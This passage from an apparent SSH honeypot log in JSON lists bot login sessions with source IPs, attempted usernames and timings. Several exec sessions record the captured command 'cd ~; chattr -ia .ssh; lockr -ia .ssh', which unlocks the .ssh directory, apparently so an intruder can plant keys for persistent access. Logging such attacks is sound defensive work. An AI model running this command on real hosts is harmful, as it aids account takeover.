  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:52:57.202534+00:00",
  "ended_at": "2026-08-25T08:52:58.075791+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ee9d9728-bdcb-4943-b9e5-368e21f93454",
  "name": "whispering-hazy-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "98.70.50.166",
  "src_port": 41214,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 591,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T08:52:46.484465+00:00",
  "ended_at": "2026-08-25T08:52:46.663187+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3815
 },
 {
  "id": "1081446a-cf30-4337-8a33-37358b3eaa7d",
  "name": "gleaming-solemn-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "98.70.50.166",
  "src_port": 38154,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:52:27.664502+00:00",
  "ended_at": "2026-08-25T08:52:27.933723+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc0916da-ba0c-4382-b02c-2ba65d8121fa",
  "name": "early-sunlit-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "98.70.50.166",
  "src_port": 41228,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:52:10.433909+00:00",
  "ended_at": "2026-08-25T08:52:11.568785+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3378a321-bf56-4821-b609-977dc109b025",
  "name": "tidal-loyal-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "98.70.50.166",
  "src_port": 41218,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:52:07.788756+00:00",
  "ended_at": "2026-08-25T08:52:09.190564+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "407ebe4e-7adc-4263-a242-5b8e5494a8cc",
  "name": "dutiful-courtly-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 33582,
  "username": "mcserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:51:23.680760+00:00",
  "ended_at": "2026-08-25T08:51:25.296021+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5f2d3872-2b0f-4613-9bb3-d7ca522885db",
  "name": "hazel-craggy-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "76.79.213.70",
  "src_port": 59806,
  "username": "devadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:50:43.699323+00:00",
  "ended_at": "2026-08-25T08:50:44.460329+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "de92c785-2a38-4ecd-a281-ed6af1d51631",
  "name": "jagged-steady-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "98.70.50.166",
  "src_port": 46262,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:49:29.258811+00:00",
  "ended_at": "2026-08-25T08:49:30.470086+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09113d5c-19db-4513-a53e-d893d37335a9",
  "name": "thawing-twilight-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "76.79.213.70",
  "src_port": 40294,
  "username": "noc",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:48:23.851512+00:00",
  "ended_at": "2026-08-25T08:48:25.599141+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "31cf9b4f-5bc9-418b-a38c-dc3a1f696c92",
  "name": "daring-obsidian-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "98.70.50.166",
  "src_port": 57742,
  "username": "noc",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:46:35.454111+00:00",
  "ended_at": "2026-08-25T08:46:37.419114+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5f6eb696-5724-427a-93db-184cbb6af457",
  "name": "nameless-buoyant-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 59818,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:44:54.362664+00:00",
  "ended_at": "2026-08-25T08:44:55.217367+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0b43d2fc-343b-4428-a972-03997568ff2f",
  "name": "daring-sunlit-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "76.79.213.70",
  "src_port": 34352,
  "username": "vps",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:43:28.433328+00:00",
  "ended_at": "2026-08-25T08:43:30.403007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c9ca2c84-e599-4dfd-b40a-92acfaa16497",
  "name": "stormy-pewter-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.191.5",
  "src_port": 46574,
  "username": "redmine",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 381,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T03:04:54.158569+00:00",
  "ended_at": "2026-08-25T03:04:54.269691+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3561
 },
 {
  "id": "cfaee1fc-62c8-4777-bf49-13d7c0166af2",
  "name": "bitter-grassy-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.191.5",
  "src_port": 60494,
  "username": "redmine",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T03:04:39.625356+00:00",
  "ended_at": "2026-08-25T03:04:39.860656+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75b4e5b7-c269-410d-a0e9-f843378a75ad",
  "name": "thawing-blithe-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.191.5",
  "src_port": 38960,
  "username": "redmine",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T03:04:28.665422+00:00",
  "ended_at": "2026-08-25T03:04:30.083055+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f74e8138-d373-4afb-9ce3-f321a2205e66",
  "name": "feathered-glassy-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.191.5",
  "src_port": 46578,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T03:04:26.136019+00:00",
  "ended_at": "2026-08-25T03:04:27.960498+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b8ee341e-319c-47e5-ae33-76bae54848cf",
  "name": "stormy-valiant-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.191.5",
  "src_port": 41128,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T03:02:25.539134+00:00",
  "ended_at": "2026-08-25T03:02:26.493012+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2d7f44cb-85fd-42b0-a550-93f86a4772cf",
  "name": "ruddy-pewter-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.191.5",
  "src_port": 56976,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T03:00:24.863146+00:00",
  "ended_at": "2026-08-25T03:00:26.229063+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4ff9c3da-ffe7-454b-b542-1a690b92dc36",
  "name": "nimble-sterling-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.191.5",
  "src_port": 49572,
  "username": "mehrdad",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T02:57:30.310441+00:00",
  "ended_at": "2026-08-25T02:57:31.148882+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "56ac9eba-c117-47de-ab3b-d2c92c7c4d38",
  "name": "meadow-jaunty-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "119.209.12.20",
  "src_port": 60480,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 643,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T00:51:43.073455+00:00",
  "ended_at": "2026-08-25T00:51:43.274634+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3508
 },
 {
  "id": "c2c5d33c-eb56-4aa9-bf6b-a5c12530fff4",
  "name": "frugal-pewter-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "119.209.12.20",
  "src_port": 39204,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T00:51:25.319793+00:00",
  "ended_at": "2026-08-25T00:51:25.716053+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "160c6e93-b4df-4a5c-b278-3cb79d5964cd",
  "name": "primal-umber-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "119.209.12.20",
  "src_port": 34108,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T00:51:10.264526+00:00",
  "ended_at": "2026-08-25T00:51:11.233600+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6738521-b700-4952-9343-07e871b57c99",
  "name": "primal-noble-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "119.209.12.20",
  "src_port": 33202,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T00:51:07.630675+00:00",
  "ended_at": "2026-08-25T00:51:09.037562+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6772297-1ce2-45c2-bec6-0a91ee37d53b",
  "name": "plucky-bashful-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "119.209.12.20",
  "src_port": 40982,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T00:48:28.221193+00:00",
  "ended_at": "2026-08-25T00:48:29.127344+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "71fb53f9-6ab0-41a9-9804-22326802402f",
  "name": "rambling-brisk-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "119.209.12.20",
  "src_port": 51152,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T00:41:31.762452+00:00",
  "ended_at": "2026-08-25T00:41:32.833883+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e43cf21d-da59-4fb6-a40a-f989fe0b0c5d",
  "name": "fleeting-marbled-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "113.161.222.150",
  "src_port": 39120,
  "username": "frontend",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 771,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T23:29:11.643837+00:00",
  "ended_at": "2026-08-24T23:29:11.885751+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 6651
 },
 {
  "id": "6597d494-44e1-4152-9980-673f8719f52a",
  "name": "kindly-cobalt-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.161.222.150",
  "src_port": 48834,
  "username": "frontend",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T23:28:52.319731+00:00",
  "ended_at": "2026-08-24T23:28:52.864866+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "63957316-7fb3-47f0-94d4-4272afd07591",
  "name": "austere-tawny-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.161.222.150",
  "src_port": 41594,
  "username": "frontend",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T23:28:31.964403+00:00",
  "ended_at": "2026-08-24T23:28:33.755345+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2460e8bb-882f-4e82-ab06-e40e6e048ffd",
  "name": "placid-marbled-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.161.222.150",
  "src_port": 40286,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T23:28:28.481138+00:00",
  "ended_at": "2026-08-24T23:28:30.417479+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "52ba8afe-d2e6-4351-842c-9993347e6267",
  "name": "frosty-canny-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.161.222.150",
  "src_port": 48366,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T23:25:57.707953+00:00",
  "ended_at": "2026-08-24T23:25:58.745046+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3f94023d-a4d5-473a-9e20-e9e56923b828",
  "name": "lawful-hidden-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.161.222.150",
  "src_port": 57586,
  "username": "ghost",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T23:23:29.397035+00:00",
  "ended_at": "2026-08-24T23:23:31.119791+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a7ffcd6f-0263-4603-84f4-114c003a73e4",
  "name": "mighty-tranquil-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.161.222.150",
  "src_port": 56322,
  "username": "tests",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T23:19:05.089838+00:00",
  "ended_at": "2026-08-24T23:19:05.973242+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "720af6ad-98e8-4b27-a642-3b871d4b908a",
  "name": "dapper-clever-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.165.190.208",
  "src_port": 34868,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 558,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T22:07:11.630448+00:00",
  "ended_at": "2026-08-24T22:07:11.802058+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 6826
 },
 {
  "id": "deb7335a-9bf1-4b63-afd6-10cc38833516",
  "name": "gloomy-mindful-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.165.190.208",
  "src_port": 54902,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:06:54.491048+00:00",
  "ended_at": "2026-08-24T22:06:54.831260+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ae3fb27a-a973-4ae8-bdf0-dfa02d02a84b",
  "name": "ivory-valiant-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.165.190.208",
  "src_port": 34888,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:06:37.442490+00:00",
  "ended_at": "2026-08-24T22:06:38.691538+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b623d5f2-2643-437d-a062-08be931716ee",
  "name": "pleasant-ginger-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.165.190.208",
  "src_port": 34872,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:06:34.936773+00:00",
  "ended_at": "2026-08-24T22:06:36.319593+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33711d99-bb98-4dec-8455-b964f5c6c109",
  "name": "ashen-languid-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.153.205.159",
  "src_port": 39638,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 782,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T22:04:42.105280+00:00",
  "ended_at": "2026-08-24T22:04:42.350865+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3989
 },
 {
  "id": "6446053b-50ca-448e-9fae-f5a382aa6f6a",
  "name": "honest-brave-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.153.205.159",
  "src_port": 47524,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:04:22.969362+00:00",
  "ended_at": "2026-08-24T22:04:23.381191+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5095c82-3928-4b83-8574-6cf503abe2ab",
  "name": "muted-velvet-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.153.205.159",
  "src_port": 41506,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:04:04.309063+00:00",
  "ended_at": "2026-08-24T22:04:05.744225+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ff2d0e1d-cb45-47e2-b62c-f5d7437b1cb7",
  "name": "diligent-inland-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.165.190.208",
  "src_port": 53348,
  "username": "chenqun",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:04:02.186048+00:00",
  "ended_at": "2026-08-24T22:04:03.226700+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5f76789d-3fdb-48cc-ae00-5e5c82a55f5d",
  "name": "kindly-dapper-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.153.205.159",
  "src_port": 40730,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:04:01.900199+00:00",
  "ended_at": "2026-08-24T22:04:02.761595+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9170e9d3-5149-4fe8-83da-1593f809b6a8",
  "name": "opal-weathered-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.153.205.159",
  "src_port": 46518,
  "username": "verkauf",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:01:29.512625+00:00",
  "ended_at": "2026-08-24T22:01:30.745902+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "68e00d39-b1ea-4bd7-a11c-afd57b4be2ca",
  "name": "twilight-western-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.165.190.208",
  "src_port": 36274,
  "username": "jacky",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:01:26.151838+00:00",
  "ended_at": "2026-08-24T22:01:27.552845+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d916138a-a018-4eb8-82d1-18d6bca373d1",
  "name": "brazen-gritty-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.153.205.159",
  "src_port": 55408,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T21:54:46.735259+00:00",
  "ended_at": "2026-08-24T21:54:47.837662+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f6f3ca3f-8bb8-4346-9617-014935b9dd74",
  "name": "burly-patient-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "141.95.54.130",
  "src_port": 59206,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 308,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T21:25:17.339639+00:00",
  "ended_at": "2026-08-24T21:25:17.428604+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4003
 },
 {
  "id": "f5898f3c-129d-4a79-b338-319bae36f8f0",
  "name": "downy-zealous-ocelot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "141.95.54.130",
  "src_port": 47132,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T21:25:03.544732+00:00",
  "ended_at": "2026-08-24T21:25:03.843922+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "687a0fc8-28e3-455d-bc00-3818449df75e",
  "name": "tidal-feral-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "141.95.54.130",
  "src_port": 39074,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T21:24:52.296099+00:00",
  "ended_at": "2026-08-24T21:24:54.213697+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c07041f3-4699-4526-a448-a3106949817f",
  "name": "leafy-plush-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "141.95.54.130",
  "src_port": 59220,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T21:24:49.748270+00:00",
  "ended_at": "2026-08-24T21:24:51.675557+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "438b8265-7144-4340-b6af-0cae5b47bbfe",
  "name": "solar-gentle-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "141.95.54.130",
  "src_port": 57544,
  "username": "sto",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T21:23:03.632742+00:00",
  "ended_at": "2026-08-24T21:23:05.439245+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f523b54-bc59-4172-ac1d-4aadceeffb5b",
  "name": "jolly-bashful-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "141.95.54.130",
  "src_port": 44670,
  "username": "linuxbrew",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T21:15:35.370421+00:00",
  "ended_at": "2026-08-24T21:15:36.036359+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3f4555b7-f2b2-4f80-be0f-522dc8d48d29",
  "name": "daring-plush-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "150.136.214.177",
  "src_port": 31390,
  "username": "feria",
  "client_version": "SSH-2.0-libssh_0.9.6",
